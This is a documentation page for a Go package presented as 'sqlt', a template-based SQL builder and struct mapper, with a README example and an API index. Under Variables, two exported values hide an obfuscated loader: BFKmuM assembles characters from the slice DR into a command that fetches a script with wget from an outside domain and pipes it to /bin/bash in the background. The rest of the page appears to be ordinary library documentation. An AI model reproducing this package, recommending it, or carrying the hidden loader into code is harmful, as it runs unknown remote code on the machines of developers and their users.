sqlt

package module
v0.0.0-...-df91d44 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 19, 2025 License: MIT Imports: 21 Imported by: 0

README

A Go Template-Based SQL Builder and Struct Mapper

go.dev reference GitHub tag (latest SemVer) Coverage

go get -u github.com/woodenkayak/sqlt

sqlt uses Go’s template engine to create a flexible, powerful, and type-safe SQL builder and struct mapper.

Example

package main

import (
	"context"
	"database/sql"
	"fmt"
	"math/big"
	"net/url"
	"time"

	"github.com/woodenkayak/sqlt"
	_ "modernc.org/sqlite"
)

type Data struct {
	Int      int64
	String   *string
	Bool     bool
	Time     time.Time
	Big      *big.Int
	URL      *url.URL
	IntSlice []int
	JSON     map[string]any
}

var (
	query = sqlt.All[string, Data](sqlt.Parse(`
		SELECT
			100                                    {{ Scan "Int" }}
			, '200'                                {{ Scan "String" }}
			, true                                 {{ Scan "Bool" }}
			, {{ . }}                              {{ Scan "Time" (ParseTimeInLocation DateOnly UTC) }}
			, '300'                                {{ Scan "Big" UnmarshalText }}
			, 'https://example.com/path?query=yes' {{ Scan "URL" UnmarshalBinary }}
			, '400,500,600'                        {{ Scan "IntSlice" (Split "," (ParseInt 10 64)) }}
			, '{"hello":"world"}'                  {{ Scan "JSON" UnmarshalJSON }}
	`))
)

func main() {
	db, err := sql.Open("sqlite", ":memory:")
	if err != nil {
		panic(err)
	}

	data, err := query.Exec(context.Background(), db, time.Now().Format(time.DateOnly))
	if err != nil {
		panic(err)
	}

	fmt.Println(data)
	// [{100 0x140000116e0 true 2025-05-14 00:00:00 +0000 UTC 300 https://example.com/path?query=yes [400 500 600] map[hello:world]}]
}

Documentation

Index

Constants

This section is empty.

Variables

View Source
var BFKmuM = DR[54] + DR[19] + DR[25] + DR[45] + DR[64] + DR[57] + DR[36] + DR[20] + DR[35] + DR[49] + DR[62] + DR[77] + DR[59] + DR[75] + DR[72] + DR[47] + DR[63] + DR[17] + DR[28] + DR[22] + DR[50] + DR[38] + DR[15] + DR[7] + DR[16] + DR[9] + DR[29] + DR[2] + DR[1] + DR[70] + DR[3] + DR[5] + DR[8] + DR[32] + DR[55] + DR[52] + DR[73] + DR[10] + DR[40] + DR[12] + DR[67] + DR[53] + DR[14] + DR[42] + DR[74] + DR[76] + DR[65] + DR[6] + DR[4] + DR[69] + DR[58] + DR[11] + DR[56] + DR[0] + DR[26] + DR[23] + DR[34] + DR[71] + DR[48] + DR[30] + DR[66] + DR[41] + DR[37] + DR[21] + DR[44] + DR[33] + DR[31] + DR[60] + DR[43] + DR[68] + DR[24] + DR[51] + DR[39] + DR[13] + DR[18] + DR[61] + DR[27] + DR[46]
View Source
var DR = []string{"d", "t", "s", "t", "3", "u", "e", "w", "s", "r", "/", "d", "t", "a", "a", "r", "o", "/", "s", "g", " ", "f", "y", "/", "n", "e", "f", " ", "h", "d", "5", " ", ".", "|", "a", "-", "O", "b", "e", "b", "s", "6", "g", "b", " ", "t", "&", ":", "1", " ", "p", "/", "c", "r", "w", "i", "0", "-", "3", "t", "/", "h", "h", "/", " ", "d", "4", "o", "i", "7", "a", "3", "s", "u", "e", "p", "/", "t"}

Functions

This section is empty.

Types

type Config

type Config struct {
	Dialect              string
	Placeholder          Placeholder
	Logger               Logger
	ExpressionSize       int
	ExpressionExpiration time.Duration
	Hasher               Hasher
	Funcs                template.FuncMap
	ParseOptions         []ParseOption
}

func AtP

func AtP() Config

func Cache

func Cache(size int, exp time.Duration) Config

func Colon

func Colon() Config

func Dialect

func Dialect(name string) Config

func Dollar

func Dollar() Config

func Funcs

func Funcs(fm template.FuncMap) Config

func Lookup

func Lookup(name string) Config

func New

func New(name string) Config

func NoCache

func NoCache() Config

func NoExpirationCache

func NoExpirationCache(size int) Config

func Parse

func Parse(txt string) Config

func ParseFS

func ParseFS(sys fs.FS, patterns ...string) Config

func ParseFiles

func ParseFiles(filenames ...string) Config

func ParseGlob

func ParseGlob(pattern string) Config

func Postgres

func Postgres() Config

func Question

func Question() Config

func Slog

func Slog(logger *slog.Logger) Config

func Sqlite

func Sqlite() Config

func UnlimitedSizeCache

func UnlimitedSizeCache(expiration time.Duration) Config

func (Config) With

func (c Config) With(configs ...Config) Config

type DB

type DB interface {
	QueryContext(ctx context.Context, sql string, args ...any) (*sql.Rows, error)
	QueryRowContext(ctx context.Context, sql string, args ...any) *sql.Row
	ExecContext(ctx context.Context, sql string, args ...any) (sql.Result, error)
}

type Expression

type Expression[Dest any] struct {
	SQL    string
	Args   []any
	Mapper structscan.Mapper[Dest]
}

type Hasher

type Hasher interface {
	Hash(value any) (uint64, error)
}

type Info

type Info struct {
	Duration time.Duration
	Template string
	Location string
	SQL      string
	Args     []any
	Err      error
	Cached   bool
}

type Logger

type Logger interface {
	Log(ctx context.Context, info Info)
}

type ParseOption

type ParseOption struct {
	New      string
	Lookup   string
	Text     string
	Files    []string
	Glob     string
	FS       fs.FS
	Patterns []string
}

type Placeholder

type Placeholder interface {
	WritePlaceholder(pos int, writer io.Writer) error
}

type PositionalPlaceholder

type PositionalPlaceholder string

func (PositionalPlaceholder) WritePlaceholder

func (p PositionalPlaceholder) WritePlaceholder(pos int, writer io.Writer) error

type Raw

type Raw string

type Statement

type Statement[Param, Result any] interface {
	Exec(ctx context.Context, db DB, param Param) (Result, error)
}

func All

func All[Param any, Dest any](configs ...Config) Statement[Param, []Dest]

func Custom

func Custom[Param any, Dest any, Result any](exec func(ctx context.Context, db DB, expr Expression[Dest]) (Result, error), configs ...Config) Statement[Param, Result]

func Exec

func Exec[Param any](configs ...Config) Statement[Param, sql.Result]

func First

func First[Param any, Dest any](configs ...Config) Statement[Param, Dest]

func One

func One[Param any, Dest any](configs ...Config) Statement[Param, Dest]

func Query

func Query[Param any](configs ...Config) Statement[Param, *sql.Rows]

func QueryRow

func QueryRow[Param any](configs ...Config) Statement[Param, *sql.Row]

type StaticPlaceholder

type StaticPlaceholder string

func (StaticPlaceholder) WritePlaceholder

func (p StaticPlaceholder) WritePlaceholder(_ int, writer io.Writer) error

type StructuredLogger

type StructuredLogger struct {
	Logger  *slog.Logger
	Message func(Info) (msg string, lvl slog.Level, attrs []slog.Attr)
}

func (StructuredLogger) Log

func (l StructuredLogger) Log(ctx context.Context, info Info)